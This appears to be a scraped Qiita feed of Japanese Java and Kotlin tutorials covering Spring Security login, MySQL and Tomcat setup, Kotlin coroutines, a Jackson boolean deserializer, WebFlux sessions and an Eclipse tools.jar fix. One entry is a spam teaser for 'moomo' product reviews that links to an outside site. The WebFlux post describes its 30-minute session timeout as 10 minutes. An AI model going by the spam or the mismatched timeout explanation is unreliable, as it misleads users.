        grantList.add(authority);

//      UserDetailsはインタフェースなのでUserクラスのコンストラクタで生成したユーザオブジェクトをキャスト
        UserDetails userDetails = (UserDetails) new User(loginUser.getLoginId(), loginUser.getPassword(), grantList);

        return userDetails;
    }
}

今回はLoginControllerを使用。MvcConfigでもできるみたいですが、メリットはなんかあるのでしょうか?

あとはJPAのRepositoryにQueryを足してlogin_idでuser検索したらログインできる!(JPAにStringのID検索みたいなのがなかったので。これも知ってる人いたら教えて)

と思ったけど...

ハマったポイント②

IDとパスワードを入力してログインボタンを押してもtop画面に遷移しない。success(ログイン成功)時のマッピングがおかしい?
で色々調べたら、WebSecurityConfigの.successForwardUrl("/top")の部分を.defaultSuccessUrl("/top")に変えたら遷移した。違いについてはよく分からなかった。

権限(ROLE)の設定をなくす

リンクを参考に作ったのだけど、DB作ったときにROLEとかなかったので、とりあえず管理者権限なしでもいいんじゃない?って思って管理者権限なくそうと思ったら全然できなくてハマった。
結局、UserDetailsServiceImplのダミー権限部分をコメントアウトして、Entityの情報を返すだけに。

UserDetailsServiceImpl
package com.example.demo.service;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;

import com.example.demo.entity.UserEntity;
import com.example.demo.repository.UserRepository;

@Service
public class UserDetailsServiceImpl implements UserDetailsService {

    @Autowired
    private UserRepository userRepository;

    // loadUserByUsernameはUserDetailsのメソッド
    @Override
    public UserDetails loadUserByUsername(String loginId) throws UsernameNotFoundException {

        UserEntity loginUser = userRepository.findUser(loginId);

        if (loginUser == null) {
            throw new UsernameNotFoundException("User" + loginId + "アカウントが存在しません");
        }
//       権限の設定(ダミー)
//      List<GrantedAuthority> grantList = new ArrayList<GrantedAuthority>();
//      GrantedAuthority authority = new SimpleGrantedAuthority("USER");
//      grantList.add(authority);

//      UserDetailsはインタフェースなのでUserクラスのコンストラクタで生成したユーザオブジェクトをキャスト
//      UserDetails userDetails = (UserDetails) new User(loginUser.getLoginId(), loginUser.getPassword(), grantList);

        return loginUser;
    }
}

これでもログインはできた。
もちろん、管理者とかはいるはずなので実際には権限は設定することになるのかな。
あと画面遷移の管理者権限フィルターとかもかけれるし。

まとめ

ThymeleafとJPAとSpringSecurityと、そもそもSpring自体あまり理解していない状態でのスタートだったので、ここまでで大分時間がかかってしまった。実際の現場ではここからスタートすることはあまりないのかも知れないけど、理解だけでもしておこうと思いやってみました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Win10上でJavaとmysqlのWebシステム構築手順

Overview

今回は一般的な開発環境を作ります。

本番のシステムの場合は適切なセキュリティ対策を行うする必要があります。

概要

  • Mysql
    • ダウンロード
    • インストール
    • 設定
  • Java
    • Download
    • 展開するフォルダー
  • Tomcat
    • ダウンロード
    • 展開するフォルダー
  • IDE
    • ダウンロード
    • インストール
    • 設定など
  • テスト
    • サーバーにデプロイ
    • DBと接続

MYSQL

ダウンロード

https://dev.mysql.com/downloads/installer/

image.png

次の画面

image.png

ダウンロードしたものをインストール
image.png

インストール手順

image.png

そのまま次

image.png

次へ

image.png

次へ

image.png

次へ

image.png

次へ

image.png

ルートパスワードを設定、次へ

image.png

次へ

image.png

Execute !

image.png

image.png

image.png

image.png

image.png

事前に設定されたパスワードを入力し、チェックをクリック。次へ

image.png

Executeをクリック

image.png

image.png

image.png

完了

Java

ダウンロード

https://jdk.java.net/java-se-ri/11

image.png

ダウンロードしたファイル展開して「ドキュメント」フォルダに移動

Tomcat

ダウンロード

https://ftp.yz.yamagata-u.ac.jp/pub/network/apache/tomcat/tomcat-9/v9.0.33/bin/apache-tomcat-9.0.33-windows-x64.zip

展開して、JDKと同じように「ドキュメント」フォルダに移動し、完了。

IDE

Eclipse

ダウンロード

https://www.eclipse.org/downloads/download.php?file=/oomph/epp/2020-03/R/eclipse-inst-win64.exe

image.png

インストール手順

今回WEB系なのでEnterprise Javaを使う必要になります。
image.png

JDKの設定

image.png
先移動したフォルダーを設定。
image.png

image.png

インストールをクリックして、終わったら以下の画面出てきます。

image.png

「ドキュメント」フォルダの中に「new_workspace」フォルダを作成し、設定します。
image.png
LAUNCHをクリックして以下の画面が現れます。
image.png

-「Maven Project」を作成

image.png

設定

image.png

image.png

image.png

それでWeb用なMavenプロジェクトを作成完了。

サーバー環境の設定

image.png
左にあるメニューから「Server」選んで「Runtime Environment」と「Add...」
image.png
先インストールしたTomcatはバージョン9です。
image.png

インストールされたフォルダを選んで
image.png
image.png

jdkを確認して
image.png
先「ドキュメント」フォルダに移動したJDKが設定されているかどうか
image.png
じゃなかったら設定し、悶えなければ「Finish」
image.png

「Apply and Close」
image.png
完了。

テスト

Tomcat&Java

image.png

「Run on Server」
image.png

image.png

image.png

Java&Mysql

接続するための追加

https://mvnrepository.com/artifact/mysql/mysql-connector-java/8.0.19
上のリンク以下のページへ、赤いまるの情報をコーピします。
image.png

pom.xmlに追加
image.png

保存するとMavenがダウロードしてくれる。
image.png

以下のコードも追加してください。

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
image.png

接続コード

これからindex.htmlに追加します。
image.png
一番上の列には以下のコードを追加してください。

<%@ page import="java.sql.*" %>

「<body>」タグの中に以下のコードをコーピ。password のところだけ、事前に設定されたパスワードを変えてください。

<%
Class.forName("com.mysql.cj.jdbc.Driver");
try (Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mysql?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC", "root", "password");) {
System.out.println("connect success");
}catch (Exception e)
{
System.out.println(e);
}%>

そして
image.png

データベースに接続完了。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Kotlin Coroutineのサンプルをコマンドラインから実行する方法

やりたいこと

みんな最初に実行する以下のコードをコマンドラインでビルドして実行する。

import kotlinx.coroutines.*

fun main() {
    GlobalScope.launch { // launch a new coroutine in background and continue
        delay(1000L) // non-blocking delay for 1 second (default time unit is ms)
        println("World!") // print after delay
    }
    println("Hello,") // main thread continues while coroutine is delayed
    Thread.sleep(2000L) // block main thread for 2 seconds to keep JVM alive
}

前提条件

  • MacOS
  • Javaインストール済み
  • Mavenインストール済み
  • 上のソースがfirst.ktという名前でカレントディレクトリにある

実施する作業

  1. kotlinコンパイラのダウンロード
  2. kotlin coroutineのjarファイルのダウンロード
  3. ソースコードのコンパイル
  4. コマンドラインから実行

手順

1 . kotlinコンパイラのダウンロード

公式サイトに手順の記載あり (ここ)

2 . kotlin coroutineのjarファイルのダウンロード

以下のコマンドを実行すると、
カレントディレクトリに kotlinx-coroutines-core-1.3.5.jar がDLされます。

mvn dependency:get -Dartifact=org.jetbrains.kotlinx:kotlinx-coroutines-core:1.3.5  -Ddest=./

3 . ソースコードのコンパイル

以下のコマンドを実行すると
カレントディレクトリに first.jar が生成されます。

kotlinc -cp kotlinx-coroutines-core-1.3.5.jar  first.kt -include-runtime -d first.jar

4 . コマンドラインから実行

以下のコマンドを実行

java -cp ./first.jar:./kotlinx-coroutines-core-1.3.5.jar FirstKt

なぜこれをやったか?

理由は以下の3点

  • 遊び場 で実行すると HelloWorldが同時に表示されて微妙だと思ったから
  • 拡張ライブラリを使ったkotlinのソースをコマンドラインでビルドしてみたかった
  • AndroidStudioを立ち上げるのが面倒だった
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[jackson]JSONの値「0」「1」をbooleanとして受け取りたい

動機

  • JAVA SpringBootを利用したWEBシステム
  • JSON文字列を入力として用い、データを保持するオブジェクトに変換する
  • JSONにおける「0」の値をfalse、「1」の値をtrueとしてbooleanに変換して受け取りたい。

参考

概要

  • JsonDeserializer を継承したデシリアライザクラスを作る
    • public static class になる
  • @JsonDeserialize(using=作成したデシリアライザクラス.class) で指定する

シリアライズとデリシアライズ

  • シリアライズ
    • ソフトウェアが扱うオブジェクトを、文字列表現に変換すること。
    • オブジェクト→JSON。
  • デシリアライズ
    • 文字列表現のデータを、ソフトウェアが扱うオブジェクトに変換すること。
    • JSON→オブジェクト

サンプルコード

パースしたいJSON

{
    "name": "サンプルアイテム",
    "required": "1"
}

データオブジェクト

  • JSONが解釈、変換されてこのオブジェクトになる
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.databind.annotation.JsonDeserialize;
import lombok.Getter;
import lombok.Setter;

@Getter
@Setter
@JsonIgnoreProperties(ignoreUnknown = true)
public class SampleItem {

  private String name;

  @JsonDeserialize(using=NumericBooleanDeserializer.class) // 下記で作成するデシリアライザクラス
  private boolean required;  // ここは boolean でよい。JSONに該当の値がない場合FALSEになる。
}

デシリアライザ

import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.databind.DeserializationContext;
import com.fasterxml.jackson.databind.JsonDeserializer;

import java.io.IOException;

/**
 * JSON文字列変換時の設定(Boolean)。
 * - 0 → false
 * - 1 → true
 */
public static class NumericBooleanDeserializer extends JsonDeserializer<Boolean> {
  @Override
  public Boolean deserialize(JsonParser parser, DeserializationContext context) throws IOException {
    return !"0".equals(parser.getText());
  }
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

WebFluxのセッションを実装してみる

引き続きWebFluxの話です。
今回はWebFluxでのSessionの使い方を紹介します。
なお、ここで紹介するのは最小構成のRedisを使わないインメモリの実装例です。

サンプルの環境

  • Java 8
  • Spring Boot 2.2.6

プロジェクトのビルド構成

Mavenの場合、基本編のビルド構成に以下のdependencyを追加します。

pom.xml
〜 省略 〜
<dependency>
    <groupId>org.springframework.session</groupId>
    <artifactId>spring-session-core</artifactId>
</dependency>

Gradleの場合は以下のdependenciesを参考にしてください。

build.gradle
〜 省略 〜
dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-webflux'
    implementation 'org.springframework.session:spring-session-core'
    compileOnly 'org.projectlombok:lombok'
    annotationProcessor 'org.projectlombok:lombok'
}

セッションを使うための設定

まずWebFluxでセッションを使うためにSessionRepositoryのDIの設定を行います。

InMemorySessionConfig.java
@Configuration
@EnableSpringWebSession    // 1
public class InMemorySessionConfig {

  @Bean
  public ReactiveSessionRepository reactiveSessionRepository() {

    ReactiveMapSessionRepository repository =
        new ReactiveMapSessionRepository(new ConcurrentHashMap<>());    // 2

    repository.setDefaultMaxInactiveInterval(60 * 30); // 3

    return repository;
  }

}

ポイントはコメントの3点
1. @EnableSpringWebSession アノテーションを付与しWebSessionの有効化
2. ReactiveSessionRepository のBean登録
3. セッションの有効期限(秒)の指定 (例では 60秒*10 = 10分)

セッションを利用してみる

それでは、実際にセッションを使った簡単なカウンタの実装例を見てみましょう。

CountController.java
@RestController
public class CountController {

  @GetMapping("count/{increments}")
  public Mono<Integer> count(@PathVariable Integer increments, WebSession webSession) {    // 1
    return Mono.fromSupplier(
        () -> {
          Integer total =
              Optional.ofNullable((Integer) webSession.getAttribute("count"))
                  .map(current -> current + increments)
                  .orElse(0);    // 2
          webSession.getAttributes().put("count", total);    // 3
          return total;
        });
  }
}

WebFluxでセッションにアクセスするには、WebSessionを使います。
ただし、Servletの HttpSession のようなフィールドインジェクションは行えないため、以下のような実装になります。

  1. エンドポイントのメソッド引数に WebSession を指定
  2. セッションから現在のカウントを取り出し、あればincrementsを加算し、なければ初期値0をtotalにセット
  3. 計算結果のtotalをセッションに詰める

以上の実装で、
localhost:8080/count/1
に連続でアクセスするたびに1ずつカウントアップする動作が確認できます。
また、10分間アクセスがなかった場合は、初期値の0に戻ります。

ちょっと使いづらい・・・

セッションの値を使いたい場合、ControllerでWebSessionを取得し、後続処理(Serviceなど)へ値を渡していかなければならず、

  • Servletの実装のようにSessionScopeのBeanを定義したり、
  • 任意のComponentのフィールドやコンストラクタでHttpSessionをDIしたり、

といった使い方ができないので、セッションを扱うComponentの設計には注意が必要です。

(そもそも、SessionScopeやRequestScopeはThreadLocalに依存しているので、WebFluxで同様に扱えないのは仕方がないのかもしれません^^;)

参考

https://docs.spring.io/spring-session/docs/current/reference/html5/#websession
→公式にRedisとWebSessionの連携方法も載っていますので参考まで。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ムーモ(moomo)の口コミや評判は悪い?実際に使用した方の口コミを調べました

ムーモ(moomo)の口コミや評判は悪い?実際に使用した方の口コミを調べました

実際の所どうなのでしょうか?

詳しい内容はこちらです

https://www.jyomo.xyz/

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Could not find tools.jar in the active JRE.となった時の対応方法

  • 環境
    • Windows10 64it Pro バージョン1903
    • Eclipse Version: 2019-12

事象 : Eclipseでクラスを新規作成したら怒られた。

しかも、Eclipseを起動するたびにメッセージが出るようになった。

Could not find 'tools.jar' in the active JRE.

Spring Boot Live hovers will not work without it.

The JRE you are running Eclipse with is:
...省略...

a.png

原因 : Eclipseで使用しているのがtools.jarのないJREだから

Spring Boot Live hoversさんがtools.jarを必要としているのにないから怒られたもよう。
そういえば、Eclipseを新しくしてから何も設定していない・・・Eclipseは何を使って起動しているんだっけ?

Eclipseが起動するときに使っているVMを確認する

参考 : Eclipseを動かしているJava VMを確認する方法 | ITSakura

  1. [ヘルプ] > [Eclipse IDEについて] > [インストール詳細] > [構成]タブ
  2. --vmを確認
  3. JREだった
    • image.png

対応 : JDKで起動すように設定する

参考 : Eclipse を起動する Java VM を指定する :Tips & FAQ | arbk-works Blog
以前にインストールしたJDKを見つけたのでそれを使う。

  1. Eclipseを閉じる
  2. eclipse.iniを開く(デフォルトでは、eclipse.exeと同じところにeclipse.iniはある)
  3. -vmargsより前に-vmの指定を追記して保存
  4. Eclipseを起動してもメッセージが出なくなる
  5. [ヘルプ] > [Eclipse IDEについて] > [インストール詳細] > [構成]タブ で今一度起動時に使用するVMが変わっていることを確認する
eclipse.ini
;...省略...
; ↓追記↓
-vm
C:\path\to\jdk1.8.0_241\bin
-startup
; ↑追記↑
-vmargs
;...省略...

image.png

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む